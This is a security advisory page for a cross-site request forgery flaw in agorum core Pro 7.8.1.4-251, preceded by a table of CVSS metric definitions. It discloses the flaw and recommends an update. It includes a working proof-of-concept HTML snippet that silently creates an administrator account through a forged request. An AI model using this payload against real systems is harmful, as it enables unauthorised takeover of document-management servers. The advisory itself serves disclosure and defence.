CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
Scope		S	An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality	Low	C	There is some impact on confidentiality, but the attacker either does not gain control of any data, or the information obtained does not have a significant impact on the system or its operations.
Integrity	Low	I	Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability	Low	A	There is reduced performance or interruptions in resource availability. However, the attacker does not have the ability to completely prevent access to the resources or services; the impact is limited.

Agorum Core Pro 7.8.1.4-251 Cross Site Request ForgeryAdvisory ID: SYSS-2017-008 Product: agorum core Pro Manufacturer: agorum Software GmbH Affected Version(s): 7.8.1.4-251 Tested Version(s): 7.8.1.4-251 Vulnerability Type: Cross-Site Request Forgery (CWE-352) Risk Level: Medium Solution Status: Open Manufacturer Notification: 2017-02-06 Solution Date: 2017-04-06 Public Disclosure: 2017-04-12 CVE Reference: Not yet assigned Author of Advisory: Sascha Grimmeisen & Dr. Erlijn van Genuchten, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: agorum core Pro is a module based Document Management System. It allows the customer to buy only required modules and can be extended when needed. Due to missing protection mechanisms, the web application component is vulnerable to cross-site request forgery (CSRF) attacks. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The tested web application component offers no protection against cross- site request forgery (CSRF) attacks. This kind of attack forces end users respectively their web browsers to perform unwanted actions in a web application context in which they are currently authenticated. CSRF attacks specifically target state-changing requests, for example in order to enable or disable a feature, and not data theft, as an attacker usually has no possibility to see the response of the forged request. In general, CSRF attacks are conducted with the help of the victim, for example by a user visiting an attacker-controlled URL sent by e-mail in its web browser. Often, cross-site request forgery attacks make use of cross-site scripting attacks, but this is not mandatory. CSRF attacks can also be performed against a web application if a victim is only visiting an attacker-controlled web server. In this case, the attacker-controlled web server is used to generate a specially crafted HTTP request in the context of the user's web browser which is then sent to the vulnerable target web application. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): The following HTML file containing a web form generates a simple crafted HTTP POST request that can be used to add an administration user to the web application in the context of an administrative user. PoC HTML file to add an administration user 'ADDEDUSER' with the password 'PASSWORD123': <html> <body> <img src="https://[HOST]/roiwebui/roiwebui_module/genericEditMaskSaveAction.do?interSaveIdent=&currentTabName=&attribute(name)=ADDEDUSER&attribute(aliases)=&attribute(credentialManager)=roi&attribute(passWord1)=PASSWORD123&attribute(passWord2)=PASSWORD123&attribute(adminEnabled)=on&attribute(description)=&attribute(familyName)=ADDEDUSER&attribute(givenName)=GmbH&attribute(emailAddress)[email protected]&attribute(sendingEmailAddress)=&attribute(language)=de&attribute(mandatorIdentifier)=&attribute(defaultRole)=&attribute(associatedRole)=&folderId=1002356&portalTabNumber=1004&myTabNumber=1005&editMaskName=UserObjectEditMask&portalTabNumber=1004&attribute(selectedTab)=2"> </body> </html> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: Update to agorum core 7.11.3.
